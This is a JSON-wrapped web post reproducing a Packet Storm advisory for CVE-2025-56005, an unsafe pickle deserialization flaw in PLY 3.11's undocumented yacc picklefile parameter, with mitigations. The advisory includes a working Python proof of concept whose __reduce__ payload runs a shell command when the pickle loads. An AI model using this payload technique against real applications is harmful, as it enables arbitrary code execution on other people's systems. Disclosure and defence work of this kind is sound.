{"id":37574,"date":"2026-01-27T11:51:02","date_gmt":"2026-01-27T11:51:02","guid":{"rendered":"http:\/\/localhost\/?p=37574"},"modified":"2026-01-27T11:51:02","modified_gmt":"2026-01-27T11:51:02","slug":"ply-311-arbitrary-code-execution","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=37574","title":{"rendered":"\ud83d\udcc4 PLY 3.11 Arbitrary Code Execution_PACKETSTORM:214433"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-01-27T17:13:35&#8243;,&#8221;description&#8221;:&#8221;An undocumented and unsafe feature in the PyPI\u2011distributed version of PLY version 3.11 allows arbitrary code execution when the yacc function is invoked with the picklefile parameter&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-01-27T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-01-27T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 PLY 3.11 Arbitrary Code Execution&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:214433&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2025-56005&#8243;],&#8221;sourceData&#8221;:&#8221;# \ud83d\udea8 Undocumented Remote Code Execution in PLY CVE\u20112025\u201156005\\n    \\n    &#8220;`\\n    CVE ID: CVE\u20112025\u201156005\\n    Reported by: Ahmed Abd\\n    Disclosure Date: July 1, 2025\\n    Affected Product: PLY (Python Lex\u2011Yacc)\\n    Affected Version: 3.11 (PyPI distribution)\\n    Vendor: PLY (Python Lex\u2011Yacc)\\n    Affected Component:** ply\/yacc.py` \u2014 `LRTable.read_pickle()` via `yacc(picklefile=&#8230;)`\\n    \\n    &#8220;`\\n    ## Summary\\n    \\n    An undocumented and unsafe feature in the PyPI\u2011distributed version of **PLY 3.11** allows **arbitrary code execution** when the `yacc()` function is invoked with the `picklefile` parameter.\\n    \\n    The `picklefile` parameter causes PLY to deserialize a `.pkl` file using Python\u2019s `pickle.load()` **without validation**. Because Python\u2019s `pickle` module supports execution of arbitrary code during deserialization (e.g., via `__reduce__()`), an attacker who can control the supplied pickle file can execute arbitrary code during parser initialization.\\n    \\n    This parameter is **not documented** in the official PLY documentation or GitHub repository, yet it is active in the PyPI release.\\n    \\n    &#8212;\\n    \\n    ## Impact\\n    \\n    attacker can control, replace, or influence the `.pkl` file passed to `yacc(picklefile=&#8230;)`, they can achieve:\\n    \\n    * Arbitrary code execution\\n    * Execution during application startup\\n    * Code execution before any parsing logic is reached\\n    \\n    This may affect applications that load parser tables from:\\n    \\n    * Cached locations\\n    * Shared directories\\n    * CI\/CD pipelines\\n    * Configurable or writable paths\\n    \\n    &#8212;\\n    \\n    ## \ud83d\udd0d Vulnerability Details\\n    \\n    * **Vulnerability Type:** Arbitrary Code Execution\\n    * **Attack Type:** Context\u2011dependent\\n    * **Attack Vector:** Unsafe deserialization of attacker\u2011controlled pickle file\\n    * **Impact:** Code execution\\n    * **CWE:** CWE\u2011502 (Deserialization of Untrusted Data)\\n    \\n    ### Affected Functionality\\n    \\n    * `ply.yacc.yacc(picklefile=&#8230;)`\\n    * `LRTable.read_pickle()` in `ply\/yacc.py`\\n    \\n    &#8212;\\n    \\n    ## Additional Information (Context \\u0026 Risk)\\n    \\n    This vulnerability presents elevated risk due to its **stealthy nature** and potential for **persistence**.\\n    \\n    The `picklefile` parameter is **undocumented** in the official PLY documentation and GitHub repository. However, the PyPI\u2011distributed version of PLY 3.11 includes this functionality and processes the supplied file using `pickle.load()` without validation.\\n    \\n    Because Python\u2019s `pickle` module permits execution of embedded code during deserialization, a malicious pickle file can execute arbitrary code **during parser setup**, before any parsing logic is invoked.\\n    \\n    At the time of writing, the maintainer has not publicly acknowledged this behavior.\\n    \\n    This functionality can be abused to introduce **persistent backdoors**, particularly in environments where parser table files are:\\n    \\n    * Cached on disk\\n    * Shared between users or services\\n    * Generated or reused in CI\/CD pipelines\\n    * Loaded from configurable or writable paths\\n    \\n    Given the lack of documentation, silent execution path, and the high impact of unsafe deserialization, a CVE assignment is warranted to raise awareness and protect downstream users.\\n    \\n    &#8212;\\n    \\n    ## Proof of Concept (PoC)\\n    \\n    This proof of concept demonstrates arbitrary code execution when a malicious pickle file is supplied via the undocumented `picklefile` parameter.\\n    \\n    ### PoC Overview\\n    \\n    The PoC:\\n    \\n    * Defines a minimal lexer and parser\\n    * Crafts a malicious pickle payload\\n    * Executes a system command during deserialization\\n    \\n    ### Expected Result\\n    \\n    When `yacc(picklefile=&#8217;exploit.pkl&#8217;)` is invoked, arbitrary code is executed during parser initialization.\\n    \\n    &#8220;`python\\n    import pickle\\n    import os\\n    from ply.lex import lex\\n    from ply.yacc import yacc\\n    \\n    tokens = (&#8216;EXAMPLE&#8217;,)\\n    \\n    def t_EXAMPLE(t):\\n        r&#8217;example&#8217;\\n        return t\\n    \\n    def p_sample(p):\\n        &#8216;sample : EXAMPLE&#8217;\\n        pass\\n    \\n    class Exploit:\\n        def __reduce__(self):\\n            cmd = &#8216;touch \/tmp\/pwned \\u0026\\u0026 echo \\&#8221;VULNERABLE\\&#8221; \\u003e \/tmp\/pwned&#8217;\\n            return (os.system, (cmd,))\\n    \\n    malicious_data = {\\n        &#8216;_tabversion&#8217;: &#8216;3.11&#8217;,\\n        &#8216;_lr_action&#8217;: {0: {}},\\n        &#8216;_lr_goto&#8217;: {0: {}},\\n        &#8216;_lr_productions&#8217;: [\\n            (None, 0, 0, 0, Exploit())\\n        ],\\n        &#8216;_lr_method&#8217;: &#8216;LALR&#8217;\\n    }\\n    \\n    with open(&#8216;exploit.pkl&#8217;, &#8216;wb&#8217;) as f:\\n        pickle.dump(malicious_data, f)\\n    \\n    parser = yacc(picklefile=&#8217;exploit.pkl&#8217;, debug=False, write_tables=False)\\n    parser.parse(&#8216;example&#8217;)\\n    &#8220;`\\n    \\n    &#8212;\\n    \\n    ## Mitigation\\n    \\n    * Do **not** use the `picklefile` parameter with untrusted or externally writable files\\n    * Avoid loading parser tables from user\u2011controlled locations\\n    * Treat all pickle files as **unsafe input**\\n    * Prefer regenerating parser tables rather than loading them from disk\\n    \\n    &#8212;\\n    \\n    \\n    ## References\\n    \\n    * PLY GitHub Repository: [https:\/\/github.com\/dabeaz\/ply](https:\/\/github.com\/dabeaz\/ply)\\n    * PyPI Package: [https:\/\/pypi.org\/project\/ply\/](https:\/\/pypi.org\/project\/ply\/)\\n    * Python Pickle Documentation: [https:\/\/docs.python.org\/3\/library\/pickle.html](https:\/\/docs.python.org\/3\/library\/pickle.html)\\n    * Proof of Concept Repository:\\n      [https:\/\/github.com\/bohmiiidd\/Undocumented-RCE-in-PLY](https:\/\/github.com\/bohmiiidd\/Undocumented-RCE-in-PLY)&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/packetstorm.news\/download\/214433&#8243;,&#8221;cvss&#8221;:{&#8220;score&#8221;:9.8,&#8221;severity&#8221;:&#8221;CRITICAL&#8221;,&#8221;vector&#8221;:&#8221;CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:U\/C:H\/I:H\/A:H&#8221;,&#8221;version&#8221;:&#8221;3.1&#8243;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/packetstorm.news\/files\/id\/214433\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-01-27T17:13:35&#8243;,&#8221;description&#8221;:&#8221;An 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